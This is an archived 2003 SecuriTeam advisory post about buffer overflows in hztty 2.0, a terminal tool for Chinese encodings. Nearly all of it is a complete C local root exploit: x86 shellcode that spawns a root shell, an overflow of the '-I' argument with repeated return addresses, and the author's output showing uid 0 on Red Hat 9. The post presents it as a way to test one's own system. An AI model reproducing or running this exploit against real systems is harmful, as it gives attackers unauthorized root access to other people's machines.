[EXPL] hztty Buffer Overflow Exploit Code (-I)

From: SecuriTeam (support_at_securiteam.com)
Date: 09/21/03

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Date: 21 Sep 2003 14:51:56 +0200

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      hztty Buffer Overflow Exploit Code (-I)
    ------------------------------------------------------------------------

    SUMMARY

    Jens Steube reported a pair of buffer overflow vulnerabilities in hztty, a
    program to translate Chinese character encodings in a terminal session.
    These vulnerabilities could be exploited by a local attacker to gain root
    privileges on a system where hztty is installed.

    The following exploit code can be used to test your system for the
    mentioned vulnerability.

    DETAILS

    Exploit:
    /* 0x333hztty => hztty 2.0 local root exploit
     *
     * 21/09/2003 - 3:33 :>
     *
     * more info : Debian Security Advisory DSA 385-1
     *
     * *note* I adjusted some part of hztty's code since
     * there were some errors. hope this will not influence
     * exploitation :> tested against Red Hat 9.0 :
     *
     * [c0wboy@0x333 c0wboy]$ gcc 0x333hztty.c -o k
     * [c0wboy@0x333 c0wboy]$ ./k
     *
     * --- local root exploit for hztty 2.0 ---
     * --- coded by c0wboy ~ www.0x333.org ---
     *
     * no such module "���[...]����������[...]
     * B`�
     * sh-2.05b# [./hztty started] [using /dev/ttyp6]
     * sh-2.05b$ sh-2.05b# uid=0(root) gid=0(root) groups=500(c0wboy)
     * sh-2.05b#
     *
     *
     * coded by c0wboy
     *
     * (c) 0x333 Outsiders Security Labs / www.0x333.org
     *
     */

    #include <stdio.h>
    #include <unistd.h>

    #define BIN "./hztty"
    #define SIZE 272

    unsigned char shellcode[] =
      "\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x31\xdb\x89\xd8"
      "\xb0\x2e\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68"
      "\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
      "\xd2\xb0\x0b\xcd\x80" ;

    int main()
    {
      int i;
      char out[SIZE];
      char *own[] = { shellcode, 0x0 };

      int *hztty = (int *)(out);
      int ret = 0xbffffffa - strlen(BIN) - strlen(shellcode);

      for (i=0 ; i<SIZE-1 ; i+=4)
        *hztty++ = ret;

      hztty = 0x0;

      fprintf (stdout, "\n --- local root exploit for hztty 2.0 ---\n");
      fprintf (stdout, " --- coded by c0wboy ~ www.0x333.org ---\n\n");

      execle (BIN, BIN, "-I", out, 0x0, own, 0x0);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:c0wboy@tiscali.it>
    c0wboy@0x333.

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